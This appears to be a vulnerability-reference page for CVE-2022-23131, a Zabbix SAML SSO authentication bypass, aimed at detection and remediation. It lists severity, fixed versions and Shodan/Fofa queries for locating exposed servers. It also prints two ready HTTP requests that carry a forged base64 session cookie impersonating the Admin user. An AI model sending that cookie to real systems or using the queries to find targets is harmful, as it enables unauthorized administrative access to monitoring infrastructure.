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CVE-2022-23131: Zabbix - SAML SSO Authentication Bypass

TitleZabbix - SAML SSO Authentication Bypass
AuthorFor3stCo1d,spac3wh1te
SeverityCritical
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the Zabbix monitoring system.
RemediationUpgrade to 5.4.9rc2, 6.0.0beta1, 6.0 (plan) or higher.
CVSS Score9.8
EPSS Score0.94301
CVE IDCVE-2022-23131
CWE IDCWE-290
Shodan Queryhttp.favicon.hash:892542951http.title:"zabbix-server"cpe:"cpe:2.3:a:zabbix:zabbix"
Fofa Queryapp="ZABBIX-监控系统" && body="saml"icon_hash=892542951app="zabbix-监控系统" && body="saml"title="zabbix-server"
Tags cve cve2022 zabbix auth-bypass saml sso kev vkev vuln

🔍 Vulnerability Description

When SAML SSO authentication is enabled (non-default), session data can be modified by a malicious actor because a user login stored in the session was not verified.

🌐 HTTP Request

GET /zabbix/index_sso.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Cookie: zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9
Accept-Encoding: gzip
GET /index_sso.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Cookie: zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-23131.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-23131.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A